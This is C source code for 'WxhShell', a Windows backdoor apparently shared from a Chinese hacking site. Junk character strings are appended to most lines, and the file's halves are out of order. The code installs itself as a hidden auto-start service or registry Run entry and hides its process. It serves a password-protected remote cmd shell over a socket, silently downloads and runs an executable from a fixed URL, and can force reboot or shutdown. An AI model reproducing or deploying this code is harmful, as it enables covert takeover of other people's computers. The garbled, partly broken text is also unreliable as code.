  case 'd': { 3hzz*9/n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L}A2$@  
    if(Boot(SHUTDOWN)) nvc(<Ovw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ywcgt|  
    else { q6%m .X7  
    closesocket(wsh); t+^__~IX  
    ExitThread(0); Pi,86?  
    } ^% Ln@!P  
    break; ~(`MP<  
    } F< dhG>E9  
  // 获取shell O@:R\MwFOZ  
  case 's': { )]E?~$,  
    CmdShell(wsh); rg]z  
    closesocket(wsh); !.4q{YWcYk  
    ExitThread(0); J@IKXhb7_  
    break; *xKy^f  
  } hQvI}  
  // 退出 V{\1qg{  
  case 'x': { T$;BZ=_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M~Er6Zg  
    CloseIt(wsh); _=cuOo"!  
    break; 55,2eg#{O  
    } %/!f^PIwX  
  // 离开 wNNg"}&P  
  case 'q': { 9 OlJC[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?/~Q9My  
    closesocket(wsh); 8k.#4}fP  
    WSACleanup(); "tDB[?  
    exit(1); r $YEq5  
    break; $`lGPi(Jc  
        } R[m+s=+  
  } a\B?J  
  } %.fwNS  
5*Dh#FRp  
  // 提示信息 5CH8;sMK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bZj5qjl`x  
} !QME!c>*$  
  } GNW.n(a  
@f,/K1k  
  return; )U8=-_m  
} ZK<c(,oZ^  
SWT)M1O2  
// shell模块句柄 \vpX6!T  
int CmdShell(SOCKET sock) f>Tn#OW  
{ muhu` k`C  
STARTUPINFO si; -f?,%6(1  
ZeroMemory(&si,sizeof(si)); wawJZ+V  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lt\Bm<"z!1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &F'n >QT9q  
PROCESS_INFORMATION ProcessInfo; ?-<>he  
char cmdline[]="cmd"; $2Bll5!]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v9#F\F/  
  return 0; tQTjqy{K  
} #;;A~d:V  
':f,RG  
// 自身启动模式 P"[{s^mb  
int StartFromService(void)  KcpQ[6\  
{ S&Hgr_/}c  
typedef struct gTd r  
{ ]L3MIaO2T  
  DWORD ExitStatus; {Z>Mnw"R  
  DWORD PebBaseAddress; \#C]|\  
  DWORD AffinityMask; i7&ay\+@  
  DWORD BasePriority; ~;t/VsgGW  
  ULONG UniqueProcessId; ^5k~ 7F.  
  ULONG InheritedFromUniqueProcessId; $9W,1wg  
}   PROCESS_BASIC_INFORMATION; iRV=I,  
 Qr-,J_  
PROCNTQSIP NtQueryInformationProcess; crgVedx~}  
UH((d*HX4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {GGP8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A yOy&]g  
_Y)Wi[  
  HANDLE             hProcess; =t.T9'{  
  PROCESS_BASIC_INFORMATION pbi; Xs~IoU  
SXNde@% {  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 74c5\UxA  
  if(NULL == hInst ) return 0; xE*. ,:,&  
5d-rF:#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &WS'Me  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;RMevVw|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "cvhx/\1#  
g]d0B!Ar~  
  if (!NtQueryInformationProcess) return 0; >^ E*7Bfp  
n-OQCz9Xl  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m<J:6^H@  
  if(!hProcess) return 0; *0_Q0SeE,o  
(Dx p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; VWk{?*Dp  
f`[E^ zj  
  CloseHandle(hProcess); iAt&927  
NFqGbA|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U[Lr+nKo\  
if(hProcess==NULL) return 0; _KZ TY`/*  
uSH_=^yTQ  
HMODULE hMod; .kB!',v\  
char procName[255]; /?V-  
unsigned long cbNeeded; $M$-c{>s  
I2,AT+O<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [* |+ it+!  
}-T,cA_H|  
  CloseHandle(hProcess); q RRvZhf  
VuD{t%Jb  
if(strstr(procName,"services")) return 1; // 以服务启动 c IPOI'3d  
a.a ,_  
  return 0; // 注册表启动 ;R$2+9  
} >.uIp4@(  
wVc ^l  
// 主模块 y<c7RK]  
int StartWxhshell(LPSTR lpCmdLine) 3`Xzp  
{ aYc^ 9*7  
  SOCKET wsl; !.499H3  
BOOL val=TRUE; !1Ht{cA0  
  int port=0; wEQZ9?\  
  struct sockaddr_in door; msQ?V&+<  
7"OJ,Mx%  
  if(wscfg.ws_autoins) Install(); xl@~K^c]  
bL5u;iy)  
port=atoi(lpCmdLine); dk0} q6~  
{vQ:4O!:  
if(port<=0) port=wscfg.ws_port; BKYyc6iE  
fm!\**Q1  
  WSADATA data; W>'(MB$3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZX'3qW^D  
`^|l+TJG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   JoD@e[(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [$#G|>x  
  door.sin_family = AF_INET; Of}C.N8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); RrdLh z2N  
  door.sin_port = htons(port); OP\L  
$oPc,zS-gL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `O`MW} c  
closesocket(wsl); )jh~jU?c@  
return 1; e\!Aoky  
} 8is QL  
bCiyz+VyJn  
  if(listen(wsl,2) == INVALID_SOCKET) { *;U<b  
closesocket(wsl); yD@1H(yM  
return 1; {BgJ=0g?  
} gMp' S  
  Wxhshell(wsl); oN`khS]_v0  
  WSACleanup();  R*r"};  
Pc<0kQg  
return 0; 45OAJ?N  
nYe:$t3F=  
} 9Q'[>P=1  
p1W6s0L  
// 以NT服务方式启动 )KGz -!1c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1MmEP  
{ Qj$w7*U  
DWORD   status = 0; wJ"]H!r0  
  DWORD   specificError = 0xfffffff; 4um^7Ns)7  
unKgOvtj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; UD9JE S,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @Gy.p5J8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E()%IC/R  
  serviceStatus.dwWin32ExitCode     = 0; Ys|SacWC  
  serviceStatus.dwServiceSpecificExitCode = 0; ?Cx=!k.  
  serviceStatus.dwCheckPoint       = 0; M+b?qw  
  serviceStatus.dwWaitHint       = 0; 7 D{%  
B:Awy/XMi  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^'fgQyj  
  if (hServiceStatusHandle==0) return; A 6 `a  
cIcu=U  
status = GetLastError(); Ul}<@d9: B  
  if (status!=NO_ERROR) 6;wKL?snO  
{ S#<y_w%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; JoZS p"R  
    serviceStatus.dwCheckPoint       = 0; oxdX2"WwU  
    serviceStatus.dwWaitHint       = 0; B{p74 >  
    serviceStatus.dwWin32ExitCode     = status; zg$ag4%Qgg  
    serviceStatus.dwServiceSpecificExitCode = specificError; #Tt*NU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uBxoMxWm  
    return; \ FJ ae  
  } c _!!DEe7  
?'tRu !~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; lD-2 5~YV  
  serviceStatus.dwCheckPoint       = 0; 7 |GSs=  
  serviceStatus.dwWaitHint       = 0; 1N<n)>X4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >0uj\5h)I]  
} `6;$Z)=.  
5:C>:pAV  
// 处理NT服务事件,比如:启动、停止 >s1?rC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a6O <t;&  
{ *adznd  
switch(fdwControl) b*/Mco 9O  
{ #=;vg  
case SERVICE_CONTROL_STOP: /Gn0|]KI  
  serviceStatus.dwWin32ExitCode = 0; DIJmISk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )dh`aQ%N "  
  serviceStatus.dwCheckPoint   = 0; RD=V`l{Z  
  serviceStatus.dwWaitHint     = 0; Hsd76z#8  
  { :,g]Om^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;8^(Z  
  } u?H.Z  
  return; =LGSywWM9  
case SERVICE_CONTROL_PAUSE: g/i%XTX>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1 -C~C]&  
  break; Ob}XeN(L3  
case SERVICE_CONTROL_CONTINUE: L u'<4 R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yqVoedN  
  break; *M_^I)*L  
case SERVICE_CONTROL_INTERROGATE: <q>d@Foi  
  break; )[|_q,  
}; cG%X}ZV5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rs( e  
} f re5{=@  
pLys%1hg  
// 标准应用程序主函数 /J&ks>St  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *N }$~N  
{ Nh}u]<B  
V!>j: "  
// 获取操作系统版本 9v?@2sOoE  
OsIsNt=GetOsVer(); !2^~ar{2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); WuFBt=%  
TdT`V f  
  // 从命令行安装 =LKM)d=1  
  if(strpbrk(lpCmdLine,"iI")) Install(); E|+<m!  
%g{)K)$,ui  
  // 下载执行文件 Pai8r%Zfu  
if(wscfg.ws_downexe) { y n_.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j>uu3ADd2  
  WinExec(wscfg.ws_filenam,SW_HIDE); O:GAS [O`  
} os&FrtDg  
vxLr034  
if(!OsIsNt) { [HUK 9hG  
// 如果时win9x,隐藏进程并且设置为注册表启动 %u_dxpx  
HideProc(); kytHOn#  
StartWxhshell(lpCmdLine); d3S Me  
} .\&k]}0qA?  
else {?2|rv)  
  if(StartFromService()) }p?67y/  
  // 以服务方式启动 |lg jI!iK  
  StartServiceCtrlDispatcher(DispatchTable); }L&LtW{X  
else 3bR%#G%  
  // 普通方式启动 SbzJeaZv  
  StartWxhshell(lpCmdLine); VX>j2Z'  
0:<Y@#L  
return 0; +."cbqGP_q  
} k_ywwkG9lU  
~fb#/%SV  
v Y0ESc{  
8DY:a['-d  
=========================================== pek=!nZ  
4d}=g]P  
!c1M{klP  
".waCt6  
+^&i(7a[?  
kS=nH9  
" dUt4] ar  
]!@=2kG4  
#include <stdio.h> RA[%8Rh)  
#include <string.h> 12m-$/5n+  
#include <windows.h> Uzc p  
#include <winsock2.h> 5]upfC6  
#include <winsvc.h> ~zG)<S"q  
#include <urlmon.h> hayJgkZ '  
}!R*Q`m  
#pragma comment (lib, "Ws2_32.lib") -2>s#/%  
#pragma comment (lib, "urlmon.lib") o 9/,@Ri\5  
c5b }q@nH  
#define MAX_USER   100 // 最大客户端连接数 ,\cV,$  
#define BUF_SOCK   200 // sock buffer i$Kx@,O8t  
#define KEY_BUFF   255 // 输入 buffer dJQK|/  
19c_=$mV  
#define REBOOT     0   // 重启 &qWB\m  
#define SHUTDOWN   1   // 关机  -gS9I^  
P}UxA!  
#define DEF_PORT   5000 // 监听端口 H9_iTGBQ  
2f@Cy+W'[  
#define REG_LEN     16   // 注册表键长度 .`5|NUhN  
#define SVC_LEN     80   // NT服务名长度 U B~ -$\.  
9__B!vw:  
// 从dll定义API 79@CO6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hf0(!C*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jC>#`gD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D GcpYA.7'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qtozMa  
R@s7s%y=  
// wxhshell配置信息 ipg`8*My  
struct WSCFG { EU%v |]  
  int ws_port;         // 监听端口 n%#3xo a  
  char ws_passstr[REG_LEN]; // 口令 lS7L|  
  int ws_autoins;       // 安装标记, 1=yes 0=no cNxxX!P/  
  char ws_regname[REG_LEN]; // 注册表键名 sxph#E%  
  char ws_svcname[REG_LEN]; // 服务名 bv'>4a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 law$LL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kp*!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z`M pH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m"'LT0nur  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" US(RWXyg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *<y9.\z Y<  
DB-79U%W  
}; .5o~^  
8Q$WwiS  
// default Wxhshell configuration f!R7v|j P  
struct WSCFG wscfg={DEF_PORT, %;v~MC @  
    "xuhuanlingzhe", l9="ccM  
    1, "aCB}  
    "Wxhshell", #k|f>D4  
    "Wxhshell", @6tczU}ak  
            "WxhShell Service", ;-@: }/  
    "Wrsky Windows CmdShell Service", 6SH0 y  
    "Please Input Your Password: ", 5QuRwu_  
  1, +y8Y@e}>  
  "http://www.wrsky.com/wxhshell.exe", WysWg7,r  
  "Wxhshell.exe" &Tuj`DL  
    }; =xRD %Z  
xH{-UQ3R  
// 消息定义模块 '@ Y@Fs  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9T5 F0?qd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~ZSX84~@u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LQ4:SV'3  
char *msg_ws_ext="\n\rExit."; jX8)Ov5Mv  
char *msg_ws_end="\n\rQuit."; { +w.Z,D"  
char *msg_ws_boot="\n\rReboot..."; .'_}:~  
char *msg_ws_poff="\n\rShutdown..."; : slO0  
char *msg_ws_down="\n\rSave to "; 9?hZf$z  
B= ~y(Mb  
char *msg_ws_err="\n\rErr!"; $w{d4")  
char *msg_ws_ok="\n\rOK!"; 'uDx$AkY  
T)7U+~nQ"  
char ExeFile[MAX_PATH]; > !s<JKhI  
int nUser = 0; D6Aa5&rO+  
HANDLE handles[MAX_USER]; =<p=?16 x  
int OsIsNt; BO7HJF)a  
 c1s&  
SERVICE_STATUS       serviceStatus; 1.3dy]vG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 43B0ynagN  
I[ \7Bf  
// 函数声明 xatq  
int Install(void); lGWz  
int Uninstall(void); U'(zKqC   
int DownloadFile(char *sURL, SOCKET wsh); 9t)Hi qj  
int Boot(int flag); *8?2+ )5"  
void HideProc(void); L@s6u +uu  
int GetOsVer(void); w)zJ $l  
int Wxhshell(SOCKET wsl); LOcZadr  
void TalkWithClient(void *cs); !37I2*+4  
int CmdShell(SOCKET sock); oo &|(+"O_  
int StartFromService(void); Qc&Y|]p"  
int StartWxhshell(LPSTR lpCmdLine); yTg|L9  
U\:Y*Ai  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  @9_mk@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); cxSHSv 1;  
{\0V$#q   
// 数据结构和表定义 @XM*N7  
SERVICE_TABLE_ENTRY DispatchTable[] = 'Gc{cNbXIA  
{ MooH`2Fd  
{wscfg.ws_svcname, NTServiceMain}, 6A]I" E]5  
{NULL, NULL} 6P717[  
}; DMG'8\5C  
.Vnb+o  
// 自我安装 RIXeV*ix  
int Install(void) |6bvUFr  
{ oj Y.6w  
  char svExeFile[MAX_PATH]; l+P!I{n  
  HKEY key; b)KEB9w  
  strcpy(svExeFile,ExeFile); `MPR-"Z6  
k &J;,)V  
// 如果是win9x系统,修改注册表设为自启动 ,m?V3xvq  
if(!OsIsNt) { s.Z{mnD6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xCXsyZ2h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cYg J}(>}  
  RegCloseKey(key); n ng|m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }lX$KuD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OHBCanZZ,  
  RegCloseKey(key); ydO+=R0M  
  return 0; EF\OM?R  
    } WXmfh  
  } T\.(e*hC  
} *`u|1}h|  
else { iw/~t  
a'jUM+D;  
// 如果是NT以上系统,安装为系统服务 /"D,gn1S*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lkTA"8d  
if (schSCManager!=0) iv+a5   
{ bH/4f93Nb  
  SC_HANDLE schService = CreateService 77[TqRLf  
  ( ;k`51=Wi  
  schSCManager, !;*flr`/  
  wscfg.ws_svcname,  mih}?oi  
  wscfg.ws_svcdisp, ,:L^vG@*  
  SERVICE_ALL_ACCESS, v5a\}S<(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ly8=SIZ   
  SERVICE_AUTO_START, bHRn}K+<}c  
  SERVICE_ERROR_NORMAL, Uvm.|p_V  
  svExeFile, I@Hx LEGj  
  NULL, iu8Q &Us0P  
  NULL, 1] =X  
  NULL, lPxhqF5pP  
  NULL, 0*5Jq#5  
  NULL "o`?-bQ:  
  ); iQ:eR]7X  
  if (schService!=0) %?].( Lc  
  { %M1l[\N  
  CloseServiceHandle(schService); P7=`P  
  CloseServiceHandle(schSCManager); (["kbPma  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pu/5#[MC)^  
  strcat(svExeFile,wscfg.ws_svcname); &gr 8;O:0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "A+7G5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'a+^= c  
  RegCloseKey(key); {Dl@/fz  
  return 0; J?J4<l9  
    } TxF^zx\  
  } &t<g K D  
  CloseServiceHandle(schSCManager); ^uUA41o`eJ  
} }W:Z>vam+  
} IKP_%R8.  
WM|G/'q  
return 1; fTPm Fb  
} >Z_;ZMu)  
Sdmz (R  
// 自我卸载 PjBAf'  
int Uninstall(void) , v} )  
{ q&>fKSnKs  
  HKEY key; V~KWy@7  
f?/OV*  
if(!OsIsNt) { >qNpY(Ql  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XV%R Mr6  
  RegDeleteValue(key,wscfg.ws_regname); Wfd`v  
  RegCloseKey(key); @, fvWNI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 80lhhqRC  
  RegDeleteValue(key,wscfg.ws_regname); ";7N$hWE  
  RegCloseKey(key); P=,\wM6T|  
  return 0; Yz0fOX  
  } !J;Bm,Xn6  
} ck0%H#BYY  
} 6 ~0kb_td  
else { cKkH*0B5  
~L<"]V+B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d'MZ%.#  
if (schSCManager!=0) QObVJg,GD  
{ .^9khK J;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ),`jMd1`  
  if (schService!=0) ,yNuz@^ P  
  { 5<*E S[S  
  if(DeleteService(schService)!=0) { J61%a,es  
  CloseServiceHandle(schService); r-$xLe7a  
  CloseServiceHandle(schSCManager); q>'#;QA  
  return 0; {~O4*2zg;K  
  } !5De?OXe   
  CloseServiceHandle(schService);  \8C<nh  
  } #n+u>x.O  
  CloseServiceHandle(schSCManager); iYT?6Y|+  
} HN367j2e  
} Ln&~t(7  
7c(j1:Ku-  
return 1; s) s9Z,HY  
} uVD^X*  
z{Yfiv\-r  
// 从指定url下载文件 H[?S*/n,<  
int DownloadFile(char *sURL, SOCKET wsh) [>dDRsZ  
{ Sw E7U~  
  HRESULT hr; X);'[/]E*  
char seps[]= "/"; >>J$`0kM*  
char *token; ,}W|cm>  
char *file; rWJ5C\R  
char myURL[MAX_PATH]; o?/H<k\5  
char myFILE[MAX_PATH]; {jYVA~.|Z  
B<BS^waU  
strcpy(myURL,sURL); 0/DO"pnL@  
  token=strtok(myURL,seps); Ng;?hTw  
  while(token!=NULL) 6X A(<1P  
  { =gSc{ i|  
    file=token; REU&8J@k&?  
  token=strtok(NULL,seps); 8%;Wyqdf]  
  } KNN{2thy `  
I$sXbM;z=  
GetCurrentDirectory(MAX_PATH,myFILE); hfIP   
strcat(myFILE, "\\"); `~d7l@6F  
strcat(myFILE, file); RYvdfj.ij  
  send(wsh,myFILE,strlen(myFILE),0); DRRQ] eK0  
send(wsh,"...",3,0); 7{M&9| aK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X(E`cH |  
  if(hr==S_OK) #]1 jvB  
return 0; |)>+& xk  
else u =L Dfn  
return 1; Kh=\YN\E<  
{06-h %qr  
} L / PAC  
c0e[vrP:  
// 系统电源模块  V0A>+  
int Boot(int flag)  d<xi/  
{ ;k@]"&t  
  HANDLE hToken; ^bPpcm=  
  TOKEN_PRIVILEGES tkp; 2jhJXM=~  
NGi)Lh|  
  if(OsIsNt) { qY%|Uo  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |H5GWZ O{^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); TtrO_D  
    tkp.PrivilegeCount = 1; c oZK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,aezMbg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <L8FI78[*  
if(flag==REBOOT) { "@VYJ7.1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8dx 7@y?z  
  return 0; b/oNQQM#Dk  
} ^zT=qB l  
else { |9 5K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w2b(,w  
  return 0; (5Q<xJ  
} RgH 6l2  
  } v9@_ DlV\  
  else { ua=7YG  
if(flag==REBOOT) { V!. Y M)B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) onmkg}&_  
  return 0; E71H=C 4  
} PtQ[({d3R  
else { .,'4&}N}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _VgFuU$h  
  return 0; o@PvA1  
} <%w TI<m,-  
} a"Iu!$&N  
oVP,a r0G  
return 1; uAnL`  
} W!" $g  
v~AshmP  
// win9x进程隐藏模块 k t!@}QP  
void HideProc(void) k9H}nP$F  
{ rIB./,  
X7K{P_5l  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ktfxb <%  
  if ( hKernel != NULL ) J3oUtu  
  { Ux^ue9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4IOqSB|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &x*l{s[  
    FreeLibrary(hKernel); J80&npsO  
  } #+Bz$CO  
_?felxG[  
return; %LHt{:9.  
} njJTEUd">  
,@ p4HN*  
// 获取操作系统版本 7~1Fy{tc  
int GetOsVer(void) CaED(0  
{ 89 m.,  
  OSVERSIONINFO winfo; Z3wdk6%:}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^FNju/b  
  GetVersionEx(&winfo); yRQ1Szbjli  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) IY!.j5q8  
  return 1; "UY34a^I  
  else Lf a&JKd  
  return 0;  )D+eWo  
} =s:kC`O  
e)-$ #qW  
// 客户端句柄模块 [-W~o.`  
int Wxhshell(SOCKET wsl) hB>FJZQ_  
{ e 5(|9*t  
  SOCKET wsh; )~$ejS  
  struct sockaddr_in client; z\, lPwB2  
  DWORD myID; ! B`  
|Om][z  
  while(nUser<MAX_USER) hqHk,#  
{ uj%]+Llxv  
  int nSize=sizeof(client); KDP& I J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y*lc ~X  
  if(wsh==INVALID_SOCKET) return 1; "IJ1b~j?  
)2d1@]6#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :ba4E[@  
if(handles[nUser]==0) AGwdM-$iT  
  closesocket(wsh); 2XUIC^<@s  
else lxD~l#)^ln  
  nUser++; _E0yzkS  
  } P9`CW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c?c"|.-<p  
x)%"i)  
  return 0; *<{hLf  
} &Nr+- $  
j)Q}5M  
// 关闭 socket * >NML]#0  
void CloseIt(SOCKET wsh) {=!BzNMj  
{ WT,dTn;W  
closesocket(wsh); -zt*C&)b  
nUser--; %F-yF N"  
ExitThread(0); cZ`%Gt6g  
} ZX+0{E8a  
0#Q]>V@rO4  
// 客户端请求句柄 P()&?C  
void TalkWithClient(void *cs) rnMi >?  
{ n sN n>{  
a|dgK+[  
  SOCKET wsh=(SOCKET)cs; BdvpG  
  char pwd[SVC_LEN]; y{P~!Yn|  
  char cmd[KEY_BUFF]; h^WMv *2  
char chr[1]; Xk/:a}-l  
int i,j; )P+<=8@a  
#MMp0  
  while (nUser < MAX_USER) { 1!+0]_8K  
O#8lJ%?  
if(wscfg.ws_passstr) { X,8Zn06M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _-v$fDrz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  SBi4i;qD  
  //ZeroMemory(pwd,KEY_BUFF); (o\D=!a  
      i=0; 1]8Hpd  
  while(i<SVC_LEN) { b'/:e#F  
#~|esr/wf  
  // 设置超时 Mac:E__G  
  fd_set FdRead; `09[25?  
  struct timeval TimeOut; eXLdb-  
  FD_ZERO(&FdRead); &=Y%4 vq  
  FD_SET(wsh,&FdRead); 5Tidb$L;Du  
  TimeOut.tv_sec=8; fo9V&NE  
  TimeOut.tv_usec=0; `J{{E,y @  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h,fahbH -  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }U%E-:  
`B3YP1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o/RGzPR  
  pwd=chr[0]; ^#w9!I{4.  
  if(chr[0]==0xd || chr[0]==0xa) { S!R (ae^}  
  pwd=0; `X =[ m>  
  break; s9u7zqCF  
  } (r<F@)J  
  i++; }g2l ni  
    } G" (ck4  
*li5/=UC5*  
  // 如果是非法用户,关闭 socket ZM=eiJZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hJ8B&u(  
} .b2%n;_>.  
'Ze& LQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~dsx|G?p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [H`5mY@  
${t$:0R,h  
while(1) { ]jmZ5h#[  
N45@)s!F9j  
  ZeroMemory(cmd,KEY_BUFF); P^BSl7cT  
3[kl` *`  
      // 自动支持客户端 telnet标准   ZGd7e.u=  
  j=0; #g Rns  
  while(j<KEY_BUFF) { yzG BGC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7B)@ aUj$  
  cmd[j]=chr[0]; d5W =?  
  if(chr[0]==0xa || chr[0]==0xd) { $M4C4_oPy  
  cmd[j]=0; uy=<n5`oNG  
  break; #D+.z)iZn  
  } ?/Aql_?3  
  j++; DxP65wU  
    } $*9:a3>zny  
/hGu42YG  
  // 下载文件 1Zp^X:(  
  if(strstr(cmd,"http://")) { cgQ2Wo7tCq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V4gvKWc  
  if(DownloadFile(cmd,wsh)) m O0#xY_z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $A:?o?"7}  
  else Vgj[m4l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1!ijRr  
  } j6rwlwN  
  else { 3"6-X_  
BQ!_i*14+  
    switch(cmd[0]) { A6Wtzt2i  
